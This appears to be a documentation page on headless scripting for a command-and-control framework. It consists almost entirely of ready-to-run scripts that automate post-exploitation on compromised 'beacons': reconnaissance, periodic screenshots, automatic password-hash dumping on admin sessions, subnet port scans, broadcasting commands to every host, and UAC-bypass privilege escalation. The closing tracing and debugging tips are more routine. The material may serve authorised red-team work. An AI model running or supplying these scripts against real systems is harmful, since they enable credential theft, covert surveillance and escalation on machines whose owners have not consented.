Headless Mode¶

# Example interactive session
> x beacon_ids()
@("a1b2c3d4", "e5f6g7h8")

> e foreach $bid (beacon_ids()) { println(binfo($bid, "user")); }
WORKSTATION\admin
SERVER01\svc_backup

> ? -isadmin "a1b2c3d4"
true

> load /opt/scripts/auto-recon.cna
[+] Loaded: auto-recon.cna

> ls
[*] auto-recon.cna (loaded at 2026-02-19 13:00:00)

# auto-recon.cna -- Automatically run recon on new beacons

on beacon_initial {
    local('$bid $user $computer');
    $bid = $1;

    # Wait for beacon to settle
    bsleep($bid, 5, 0);

    # Run initial reconnaissance
    bps($bid);
    bnet($bid, "view");
    bipconfig($bid);
    bwhoami($bid);
    bpwd($bid);

    $user = binfo($bid, "user");
    $computer = binfo($bid, "computer");
    blog($bid, "Auto-recon queued for $user on $computer");
}

# screenshot-bot.cna -- Take screenshots every 5 minutes

on heartbeat_5m {
    foreach $bid (beacon_ids()) {
        if (-isactive $bid) {
            bscreenshot($bid);
        }
    }
}

# Log when the bot starts
on ready {
    elog("[screenshot-bot] Active -- capturing every 5 minutes");
}

# cred-alert.cna -- Alert on new credentials

on credential_add {
    local('$type $user $pass $source $host');
    $type = $1;
    $user = $2;
    $pass = $3;
    $source = $4;
    $host = $5;

    # Log to event log for all operators to see
    elog("[CREDENTIAL] Type: $type | User: $user | Source: $source | Host: $host");

    # Count total credentials
    $total = size(credentials());
    elog("[CREDENTIAL] Total credentials in store: $total");
}

# auto-hashdump.cna -- Dump hashes from admin beacons

on beacon_initial {
    local('$bid');
    $bid = $1;

    if (-isadmin $bid) {
        # This beacon has admin privileges -- grab credentials
        bhashdump($bid);
        blog($bid, "[auto] Admin beacon detected -- hashdump queued");

        # Also grab screenshots from privileged sessions
        bscreenshot($bid);
    }
}

# engagement.cna -- Full automated engagement workflow

# Phase 1: Initial recon on every new beacon
on beacon_initial {
    local('$bid $user $computer');
    $bid = $1;
    $user = binfo($bid, "user");
    $computer = binfo($bid, "computer");

    elog("[ENGAGE] New beacon: $user @ $computer");

    # Basic recon
    bsleep($bid, 10, 20);
    bps($bid);
    bnet($bid, "view");
    bportscan($bid, "10.10.10.0/24", "1-1024", "arp");

    # Phase 2: Credential access (if admin)
    if (-isadmin $bid) {
        bhashdump($bid);
        bscreenshot($bid);
        elog("[ENGAGE] Admin beacon -- credentials queued");
    }
}

# Phase 3: Periodic data collection
on heartbeat_10m {
    foreach $bid (beacon_ids()) {
        if (-isactive $bid) {
            bps($bid);
        }
    }
}

# Phase 4: Screenshot collection from admin beacons
on heartbeat_30m {
    foreach $bid (beacon_ids()) {
        if (-isactive $bid && -isadmin $bid) {
            bscreenshot($bid);
        }
    }
}

# Alert on credential discovery
on credential_add {
    elog("[ENGAGE] Credential found: $1 $2 from $4 on $5");
}

# Log engagement status on startup
on ready {
    elog("[ENGAGE] Engagement automation loaded and active");
}

# orchestrate.cna -- Coordinate across all beacons

sub task_all_beacons {
    local('$cmd');
    $cmd = $1;

    foreach $bid (beacon_ids()) {
        if (-isactive $bid) {
            binput($bid, $cmd);
        }
    }
}

# Example: run net view on all beacons every hour
on heartbeat_60m {
    task_all_beacons("net view");
}

# escalate.cna -- Conditional privilege escalation

on beacon_initial {
    local('$bid');
    $bid = $1;

    if (!-isadmin $bid) {
        # Not admin -- attempt escalation
        blog($bid, "[escalate] Medium integrity -- attempting elevation");
        belevate($bid, "uac-token-duplication");
    } else {
        # Already admin -- proceed with post-ex
        blog($bid, "[escalate] Already elevated -- proceeding to post-ex");
        bhashdump($bid);
    }
}

# timed-ops.cna -- Scheduled operations

# Quick health check every minute
on heartbeat_1m {
    local('$active $total');
    $total = size(beacon_ids());
    $active = 0;
    foreach $bid (beacon_ids()) {
        if (-isactive $bid) {
            $active++;
        }
    }
    if ($active != $total) {
        elog("[HEALTH] $active / $total beacons active");
    }
}

# Network scan every 30 minutes (low and slow)
on heartbeat_30m {
    foreach $bid (beacon_ids()) {
        if (-isactive $bid && -isadmin $bid) {
            bnet($bid, "view");
        }
    }
}

# Enable tracing to see what your script is doing
> tron
[TRACE] on beacon_initial called with: a1b2c3d4
[TRACE] bsleep(a1b2c3d4, 5, 0) => $null
[TRACE] bps(a1b2c3d4) => $null
...
> troff

# Debug helper: log with script name prefix
sub debug {
    elog("[my-script] $1");
}

on beacon_initial {
    debug("beacon_initial fired for $1");
    # ... script logic ...
    debug("beacon_initial handler complete");
}

# Defensive scripting pattern
on beacon_initial {
    local('$bid');
    $bid = $1;

    # Check beacon is valid before tasking
    if ($bid eq "" || $bid eq $null) {
        elog("[ERROR] beacon_initial fired with empty ID");
        return;
    }

    # Check beacon is still active before heavy tasking
    if (!-isactive $bid) {
        elog("[WARN] Beacon $bid not active, skipping recon");
        return;
    }

    # Safe to proceed
    bps($bid);
}